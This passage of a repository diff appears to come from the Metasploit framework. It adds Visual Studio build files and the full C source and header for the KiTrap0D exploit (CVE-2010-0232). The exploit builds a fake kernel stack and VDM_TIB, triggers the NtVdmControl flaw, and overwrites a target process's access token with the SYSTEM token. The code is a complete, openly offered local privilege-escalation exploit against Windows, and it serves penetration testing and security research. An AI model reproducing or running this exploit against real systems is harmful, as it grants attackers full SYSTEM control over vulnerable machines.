||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
<ClInclude Include="..\common\common.h">
|
||||||
|
<Filter>common</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="..\common\LoadLibraryR.h">
|
||||||
|
<Filter>common</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="..\common\ResourceLoader.h">
|
||||||
|
<Filter>common</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="kitrap0d.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="common">
|
||||||
|
<UniqueIdentifier>{cbb362dd-4029-4348-86d3-62c4b22c742d}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
Binary file not shown.
|
@ -0,0 +1,368 @@
|
||||||
|
/*!
|
||||||
|
* @file kitrap0d.c
|
||||||
|
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
|
||||||
|
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef WIN32_NO_STATUS
|
||||||
|
# define WIN32_NO_STATUS
|
||||||
|
#endif
|
||||||
|
#include <windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "../common/common.h"
|
||||||
|
#include "kitrap0d.h"
|
||||||
|
#include <winerror.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#ifdef WIN32_NO_STATUS
|
||||||
|
# undef WIN32_NO_STATUS
|
||||||
|
#endif
|
||||||
|
#include <ntstatus.h>
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This is not implemented for the x64 build.
|
||||||
|
*/
|
||||||
|
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
/*! * @brief Global target process ID. */
|
||||||
|
static DWORD dwTargetProcessId = 0;
|
||||||
|
/*! * @brief Global pointer to the kernel stack. */
|
||||||
|
static DWORD * lpKernelStackPointer = NULL;
|
||||||
|
/*! * @brief Global reference to the kernel itself. */
|
||||||
|
static HMODULE hKernel = NULL;
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Find an exported kernel symbol by name.
|
||||||
|
* @param SymbolName The name of the symbol to find.
|
||||||
|
* @returns Pointer to the symbol, if found.
|
||||||
|
*/
|
||||||
|
PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)
|
||||||
|
{
|
||||||
|
PUCHAR ImageBase = NULL;
|
||||||
|
PULONG NameTable = NULL;
|
||||||
|
PULONG FunctionTable = NULL;
|
||||||
|
PUSHORT OrdinalTable = NULL;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||||
|
PIMAGE_DOS_HEADER DosHeader = NULL;
|
||||||
|
PIMAGE_NT_HEADERS PeHeader = NULL;
|
||||||
|
DWORD i = 0;
|
||||||
|
|
||||||
|
ImageBase = (PUCHAR)hKernel;
|
||||||
|
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
||||||
|
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||||
|
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||||
|
|
||||||
|
// Find required tables from the ExportDirectory...
|
||||||
|
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
|
||||||
|
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
|
||||||
|
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
// Scan each entry for a matching name.
|
||||||
|
for (i = 0; i < ExportDirectory->NumberOfNames; i++)
|
||||||
|
{
|
||||||
|
PCHAR Symbol = ImageBase + NameTable[i];
|
||||||
|
|
||||||
|
if (strcmp(Symbol, SymbolName) == 0)
|
||||||
|
{
|
||||||
|
// Symbol found, return the appropriate entry from FunctionTable.
|
||||||
|
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Symbol not found, this is likely fatal :-(
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Replace a value if it falls between a given range.
|
||||||
|
*/
|
||||||
|
BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value)
|
||||||
|
{
|
||||||
|
if (*checkMe >= rangeStart && *checkMe <= rangeEnd)
|
||||||
|
{
|
||||||
|
*checkMe = value;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Search the specified data structure for a member with CurrentValue.
|
||||||
|
*/
|
||||||
|
BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)
|
||||||
|
{
|
||||||
|
DWORD i = 0;
|
||||||
|
DWORD Mask = 0;
|
||||||
|
|
||||||
|
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||||
|
// bits for quick reference counting (nice trick).
|
||||||
|
Mask = ObjectRefs ? ~7 : ~0;
|
||||||
|
|
||||||
|
// Mask out the reference count.
|
||||||
|
CurrentValue &= Mask;
|
||||||
|
|
||||||
|
// Scan the structure for any occurrence of CurrentValue.
|
||||||
|
for( i = 0 ; i < MaxSize ; i++ )
|
||||||
|
{
|
||||||
|
if( (Structure[i] & Mask) == CurrentValue )
|
||||||
|
{
|
||||||
|
// And finally, replace it with NewValue.
|
||||||
|
Structure[i] = NewValue;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Member not found.
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief This routine is where we land after successfully triggering the vulnerability.
|
||||||
|
*/
|
||||||
|
#pragma warning(disable: 4731)
|
||||||
|
VOID elevator_kitrap0d_firststage(VOID)
|
||||||
|
{
|
||||||
|
FARPROC DbgPrint = NULL;
|
||||||
|
FARPROC PsGetCurrentThread = NULL;
|
||||||
|
FARPROC PsGetCurrentThreadStackBase = NULL;
|
||||||
|
FARPROC PsGetCurrentThreadStackLimit = NULL;
|
||||||
|
FARPROC PsLookupProcessByProcessId = NULL;
|
||||||
|
FARPROC PsReferencePrimaryToken = NULL;
|
||||||
|
FARPROC ZwTerminateProcess = NULL;
|
||||||
|
PVOID CurrentThread = NULL;
|
||||||
|
PVOID TargetProcess = NULL;
|
||||||
|
PVOID * PsInitialSystemProcess = NULL;
|
||||||
|
HANDLE pret = NULL;
|
||||||
|
DWORD StackBase = 0;
|
||||||
|
DWORD StackLimit = 0;
|
||||||
|
DWORD NewStack = 0;
|
||||||
|
DWORD i = 0;
|
||||||
|
DWORD dwEThreadOffsets[] = {
|
||||||
|
0x6, // WinXP SP3, VistaSP2
|
||||||
|
0xA // Windows 7, VistaSP1
|
||||||
|
};
|
||||||
|
|
||||||
|
// Keep interrupts off until we've repaired the KTHREAD.
|
||||||
|
__asm cli
|
||||||
|
|
||||||
|
// Resolve some routines we need from the kernel export directory
|
||||||
|
DbgPrint = elevator_kitrap0d_kernelgetproc("DbgPrint");
|
||||||
|
PsGetCurrentThread = elevator_kitrap0d_kernelgetproc("PsGetCurrentThread");
|
||||||
|
PsGetCurrentThreadStackBase = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackBase");
|
||||||
|
PsGetCurrentThreadStackLimit = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackLimit");
|
||||||
|
PsInitialSystemProcess = elevator_kitrap0d_kernelgetproc("PsInitialSystemProcess");
|
||||||
|
PsLookupProcessByProcessId = elevator_kitrap0d_kernelgetproc("PsLookupProcessByProcessId");
|
||||||
|
PsReferencePrimaryToken = elevator_kitrap0d_kernelgetproc("PsReferencePrimaryToken");
|
||||||
|
ZwTerminateProcess = elevator_kitrap0d_kernelgetproc("ZwTerminateProcess");
|
||||||
|
|
||||||
|
CurrentThread = (PVOID)PsGetCurrentThread();
|
||||||
|
StackLimit = (DWORD)PsGetCurrentThreadStackLimit();
|
||||||
|
StackBase = (DWORD)PsGetCurrentThreadStackBase();
|
||||||
|
|
||||||
|
NewStack = StackBase - ((StackBase - StackLimit) / 2);
|
||||||
|
|
||||||
|
// First we need to repair the CurrentThread, find all references to the fake kernel
|
||||||
|
// stack and repair them. Note that by "repair" we mean randomly point them
|
||||||
|
// somewhere inside the real stack.
|
||||||
|
|
||||||
|
// Walk only the offsets that could possibly be bad based on testing, and see if they need
|
||||||
|
// to be swapped out. O(n^2) -> O(c) wins the race!
|
||||||
|
for (i = 0; i < sizeof(dwEThreadOffsets) / sizeof (DWORD); i++) {
|
||||||
|
elevator_kitrap0d_checkandreplace((((PDWORD)CurrentThread) + dwEThreadOffsets[i]), (DWORD)&lpKernelStackPointer[0], (DWORD)&lpKernelStackPointer[KSTACKSIZE - 1], (DWORD)NewStack);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Find the EPROCESS structure for the process we want to escalate
|
||||||
|
if (PsLookupProcessByProcessId(dwTargetProcessId, &TargetProcess) == STATUS_SUCCESS)
|
||||||
|
{
|
||||||
|
PACCESS_TOKEN SystemToken = NULL;
|
||||||
|
PACCESS_TOKEN TargetToken = NULL;
|
||||||
|
|
||||||
|
// What's the maximum size the EPROCESS structure is ever likely to be?
|
||||||
|
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
||||||
|
|
||||||
|
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
|
||||||
|
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
|
||||||
|
|
||||||
|
// Find the Token object for my target process, and the SYSTEM process.
|
||||||
|
TargetToken = (PACCESS_TOKEN)PsReferencePrimaryToken(TargetProcess);
|
||||||
|
|
||||||
|
SystemToken = (PACCESS_TOKEN)PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||||||
|
|
||||||
|
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
|
||||||
|
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
|
||||||
|
|
||||||
|
// Find the token in the target process, and replace with the system token.
|
||||||
|
elevator_kitrap0d_findandreplace((PDWORD)TargetProcess, (DWORD)TargetToken, (DWORD)SystemToken, MaxExpectedEprocessSize, TRUE);
|
||||||
|
|
||||||
|
// Success
|
||||||
|
pret = (HANDLE)'w00t';
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Maybe the user closed the window?
|
||||||
|
// Report this failure
|
||||||
|
pret = (HANDLE)'LPID';
|
||||||
|
}
|
||||||
|
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, -1 // ZwCurrentProcess macro returns -1
|
||||||
|
mov ebx, NewStack
|
||||||
|
mov ecx, pret
|
||||||
|
mov edi, ZwTerminateProcess
|
||||||
|
mov esp, ebx // Swap the stack back to kernel-land
|
||||||
|
mov ebp, ebx // Swap the frame pointer back to kernel-land
|
||||||
|
sub esp, 256
|
||||||
|
push ecx // Push the return code
|
||||||
|
push eax // Push the process handle
|
||||||
|
sti // Restore interrupts finally
|
||||||
|
call edi // Call ZwTerminateProcess
|
||||||
|
__emit 0xCC; // Hope we never end up here
|
||||||
|
};
|
||||||
|
|
||||||
|
}
|
||||||
|
#pragma warning(default: 4731)
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Setup a minimal execution environment to satisfy NtVdmControl().
|
||||||
|
*/
|
||||||
|
BOOL elevator_kitrap0d_initvdmsubsystem(VOID)
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
FARPROC pNtAllocateVirtualMemory = NULL;
|
||||||
|
FARPROC pNtFreeVirtualMemory = NULL;
|
||||||
|
FARPROC pNtVdmControl = NULL;
|
||||||
|
PBYTE BaseAddress = (PVOID)0x00000001;
|
||||||
|
HMODULE hNtdll = NULL;
|
||||||
|
ULONG RegionSize = 0;
|
||||||
|
static DWORD TrapHandler[128] = { 0 };
|
||||||
|
static DWORD IcaUserData[128] = { 0 };
|
||||||
|
|
||||||
|
static struct {
|
||||||
|
PVOID TrapHandler;
|
||||||
|
PVOID IcaUserData;
|
||||||
|
} InitData;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
hNtdll = GetModuleHandle("ntdll");
|
||||||
|
if (!hNtdll) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
|
||||||
|
}
|
||||||
|
|
||||||
|
pNtAllocateVirtualMemory = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
|
||||||
|
pNtFreeVirtualMemory = GetProcAddress(hNtdll, "NtFreeVirtualMemory");
|
||||||
|
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
|
||||||
|
|
||||||
|
if (!pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER);
|
||||||
|
}
|
||||||
|
|
||||||
|
InitData.TrapHandler = TrapHandler;
|
||||||
|
InitData.IcaUserData = IcaUserData;
|
||||||
|
|
||||||
|
// Remove anything currently mapped at NULL
|
||||||
|
pNtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
|
||||||
|
|
||||||
|
BaseAddress = (PVOID)0x00000001;
|
||||||
|
RegionSize = (ULONG)0x00100000;
|
||||||
|
|
||||||
|
// Allocate the 1MB virtual 8086 address space.
|
||||||
|
if (pNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Finalise the initialisation.
|
||||||
|
if (pNtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC');
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
ExitThread(dwResult);
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief CVE-2010-0232 implementation.
|
||||||
|
*/
|
||||||
|
VOID elevator_kitrap0d(DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset)
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
FARPROC pNtVdmControl = NULL;
|
||||||
|
HMODULE hNtdll = NULL;
|
||||||
|
DWORD dwKernelStack[KSTACKSIZE] = { 0 };
|
||||||
|
VDMTIB VdmTib = { 0 };
|
||||||
|
DWORD dwMinimumExpectedVdmTibSize = 0x200;
|
||||||
|
DWORD dwMaximumExpectedVdmTibSize = 0x800;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
dprintf("[KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset);
|
||||||
|
|
||||||
|
memset(&VdmTib, 0, sizeof(VDMTIB));
|
||||||
|
memset(&dwKernelStack, 0, KSTACKSIZE * sizeof(DWORD));
|
||||||
|
|
||||||
|
// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
|
||||||
|
// With a buffer full of NULLs, the exploit never finds the right size.
|
||||||
|
// This will require a more work to resolve, for just keep the padding zero'd
|
||||||
|
|
||||||
|
hNtdll = GetModuleHandle("ntdll");
|
||||||
|
if (!hNtdll) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
|
||||||
|
}
|
||||||
|
|
||||||
|
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
|
||||||
|
if (!pNtVdmControl) {
|
||||||
|
BREAK_ON_ERROR("[KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
dwTargetProcessId = dwProcessId;
|
||||||
|
|
||||||
|
// Setup the fake kernel stack, and install a minimal VDM_TIB...
|
||||||
|
lpKernelStackPointer = (DWORD *)&dwKernelStack;
|
||||||
|
dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP
|
||||||
|
dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB
|
||||||
|
dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB
|
||||||
|
dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS
|
||||||
|
hKernel = (HMODULE)dwKernelBase;
|
||||||
|
VdmTib.Size = dwMinimumExpectedVdmTibSize;
|
||||||
|
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||||
|
|
||||||
|
// Initialize the VDM Subsystem...
|
||||||
|
elevator_kitrap0d_initvdmsubsystem();
|
||||||
|
|
||||||
|
VdmTib.Size = dwMinimumExpectedVdmTibSize;
|
||||||
|
VdmTib.VdmContext.SegCs = 0x0B;
|
||||||
|
VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack;
|
||||||
|
VdmTib.VdmContext.Eip = dwKernelBase + dwOffset;
|
||||||
|
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
|
||||||
|
*NtCurrentTeb()->Reserved4 = &VdmTib;
|
||||||
|
|
||||||
|
// Allow thread initialization to complete. Without is, there is a chance
|
||||||
|
// of a race in KiThreadInitialize's call to SwapContext
|
||||||
|
Sleep(1000);
|
||||||
|
|
||||||
|
// Trigger the vulnerable code via NtVdmControl()...
|
||||||
|
while (VdmTib.Size++ < dwMaximumExpectedVdmTibSize) {
|
||||||
|
pNtVdmControl(VdmStartExecution, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
// Unable to find correct VdmTib size.
|
||||||
|
ExitThread('VTIB');
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,34 @@
|
||||||
|
/*!
|
||||||
|
* @file kitrap0d.h
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
|
||||||
|
#define _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
|
||||||
|
|
||||||
|
#define KSTACKSIZE 1024
|
||||||
|
|
||||||
|
#define EFLAGS_TF_MASK 0x00000100 // trap flag
|
||||||
|
|
||||||
|
#ifndef PAGE_SIZE
|
||||||
|
#define PAGE_SIZE 0x1000
|
||||||
|
#endif
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
VdmStartExecution = 0,
|
||||||
|
VdmInitialize = 3
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef struct _VDMTIB
|
||||||
|
{
|
||||||
|
ULONG Size;
|
||||||
|
PVOID Padding0;
|
||||||
|
PVOID Padding1;
|
||||||
|
CONTEXT Padding2;
|
||||||
|
CONTEXT VdmContext;
|
||||||
|
DWORD Padding3[1024];
|
||||||
|
} VDMTIB, * LPVDMTIB;
|
||||||
|
|
||||||
|
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset );
|
||||||
|
|
||||||
|
#endif
|
130
external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj
vendored
Normal file
130
external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj
vendored
Normal file
|
@ -0,0 +1,130 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{DA8EF396-6CC2-404C-AA6A-AD18ACCB2E2D}</ProjectGuid>
|
||||||
|
<RootNamespace>kitrap0d_payload</RootNamespace>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||||
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<GenerateManifest>false</GenerateManifest>
|
||||||
|
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||||
|
<CodeAnalysisRules />
|
||||||
|
<CodeAnalysisRuleAssemblies />
|
||||||
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||||
|
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<StringPooling>true</StringPooling>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||||
|
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||||
|
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||||
|
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
<GenerateMapFile>true</GenerateMapFile>
|
||||||
|
<MapFileName>$(OutDir)\kitrap0d_payload.map</MapFileName>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>
|
||||||
|
</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>
|
||||||
|
</EnableCOMDATFolding>
|
||||||
|
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||||
|
<DataExecutionPrevention>
|
||||||
|
</DataExecutionPrevention>
|
||||||
|
<ImportLibrary>$(OutDir)\kitrap0d_payload.lib</ImportLibrary>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
<Profile>false</Profile>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="kitrap0d.c" />
|
||||||
|
<ClCompile Include="main.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\common.h" />
|
||||||
|
<ClInclude Include="kitrap0d.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
18
external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj.filters
vendored
Normal file
18
external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj.filters
vendored
Normal file
|
@ -0,0 +1,18 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
